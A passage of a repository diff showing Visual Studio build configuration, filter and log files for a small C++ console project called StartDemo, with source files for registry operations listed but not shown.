<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CRegOperate.cpp" />
<ClCompile Include="StartDemo.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="CRegOperate.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="StartDemo.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CRegOperate.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="CRegOperate.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@@ -0,0 +1,3 @@
 StartDemo.cpp
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(205): warning C4101: “vari”: 未引用的局部变量
StartDemo.vcxproj -> F:\myapp\CcRemote\StartDemo\x64\Debug\StartDemo.exe

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|x64|F:\myapp\CcRemote\StartDemo\|

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.